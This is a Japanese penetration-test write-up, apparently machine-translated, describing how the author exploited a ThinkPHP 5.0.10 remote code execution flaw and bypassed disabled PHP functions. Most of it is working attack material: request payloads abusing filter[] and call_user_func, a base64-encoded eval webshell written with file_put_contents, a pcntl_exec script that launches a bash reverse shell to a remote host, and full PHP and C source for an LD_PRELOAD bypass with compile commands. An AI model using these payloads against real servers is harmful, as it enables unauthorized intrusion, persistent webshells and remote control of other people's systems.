Thinkphpが無効化された機能をバイパスするプロジェクト
前置き
侵入テストで、長い間手動で検索しても何も見つからなかったので、試すつもりでxrayを開きました。
予想通り、xrayは非常に強力で、ページを開くとすぐにthinkphp 5.0.10 rceの脆弱性をスキャンしてくれました。
直接ペイロードを実行するコマンドを使用した場合、システム機能が無効になっていることが報告されました。
s=whoami&_method=__construct&method=&filter[]=system
他の機能を適用して悪用しようとし、テストした結果、call_user_func関数が無効になっていないことが判明した
ペイロード
s=phpinfo&_method=__construct&method=get&filter[]=call_user_func
どの機能が無効になっているか確認できます
assertとincludeが無効になっていないのを見て、最初はログにシェルを書き込んでからincludeファイルをexploitしに行こうとしたところ、何の反応もなく、エラーも報告されないことがわかりました。
ファイル_入力_内容
無効になっている関数に戻ると、file関数が無効になっておらず、file_put_contents関数を使ってファイルを書き込めることがわかりました
phpinfoファイルへの書き込みテスト
s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))& amp;_method=__construct&filter=assert
書き込み成功
アイススコーピオンホースに書き込んでファイル管理中
ファイル操作はできるが、コマンドの実行はできない
pcntl_exec
もっと見落としがちなコマンド実行関数pcntl_execについて考えてみると、指定したファイルを実行するプログラムを指定するpcntl_exec関数が無効になっていないことに気づきました
まずexe.phpファイルを書き、その中にpcntl_execのパラメータを指定します(指定したファイルを実行するためのrunプログラムを実行します)。
<?php
switch (pcntl_fork()) {
case 0:
pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
exit(0);
default:
break;
}
? >
exec.shはバウンスコマンドを書き込んでいます。
bash -i >& /dev/tcp/vpsip/7777 0>&1
exe.phpへのブラウザアクセスは正常にシェルがバウンスされる
LD_PRELOAD ハイジャック
今回の侵入が終わり、ここで別の迂回方法を試みます。pcntl_exec機能も無効になっている場合に遭遇したら、環境変数LD_PRELOADを使ってシステム機能を乗っ取り、外部プログラムに悪意のある*.soをロードさせてシステムコマンドを実行する効果を実現することができます。原理の詳しい説明は、このお兄さんの記事 https://www.meetsec.cn/index.php/archives/44/ を参照してください。
この方法は、主に.cプログラムからコンパイルされた.phpと共有オブジェクトの.soファイルをサーバーにアップロードする必要があります
bypass_disablefunc.php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/ www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2> &1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
? >
bypass_disablefunc.phpは、3つのパラメータを提供します。
- cmd パラメーター、実行されるシステムコマンド(例:whoami)。
- outpath パラメーター:コマンド実行の出力が保存されるファイルへのパス(例:/www/wwwroot/public)で、ページ上に簡単に表示することができます。また、このパラメータに関しては、ウェブに読み書き権限があるかどうか、ディレクトリを越えてアクセスできるかどうか、ファイルが上書きされ削除されるかどうか、といったポイントに注意する必要があります。
- sopath パラメータは、システム関数を乗っ取る共有オブジェクト (例: /www/wwwroot/bypass_disablefunc_x64.so) への絶対パスを指定します。このパラメータについても、ウェブがディレクトリを超えてアクセスできるかどうかに注意を払う必要があり、ウェブルートに同様に渡す方がよいでしょう。
bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
ここで、gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so コマンドで、bypass_disablefunc.c を共有オブジェクト bypass_disablefunc_x64.so にコンパイルする必要があります。
ターゲット・アーキテクチャによって異なるバージョンにコンパイルするには、x64環境でコンパイルし、compileオプションがない場合はデフォルトでx64にし、x86アーキテクチャにコンパイルする場合は-m32オプションを追加してください。
上記の必要なファイルは、githubにあります。
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
ここでは、phpとsoのファイルは、前のファイル管理ice scorpionシェルを使用して、サーバーのWebディレクトリにアップロードされています。
ブラウザでbypass_disablefunc.phpにアクセスし、パラメータを渡します。
http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_ disablefunc_x64.so
コマンドの実行に成功
概要
今回の記事は、あるプロジェクトでThinkphpが無効化された関数をバイパスすることについてです。Thinkphp bypassing disabled functionsについては、スクリプトハウスの過去記事を検索するか、以下の関連記事を引き続き閲覧してください。
関連
-
php generate unique uid solution 詳細
-
WeChatの小さなプログラムは、ログイン後に携帯電話番号を取得するためにThinkPHP5の承認と組み合わせます。
-
thinkphp6でmysqlの悲観的ロックを使って商品の売れ残り問題を解決するための実装
-
学生の成績を取得するためのPHPメソッド
-
Laravelで認証を使用するとトップページにジャンプする問題を解決
-
AliCloudのossファイルアップロード機能をlaravelで実装した例
-
オンデマンドアップロードを実現するLaravelフレームワーク Aliyun機能
-
phpのクラスのオートロードの失敗の解決策とサンプルコード
-
laravelのユーザーのパスワード変更とメールボックスの結合の詳細操作
-
php curl return error code 60 解決方法
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン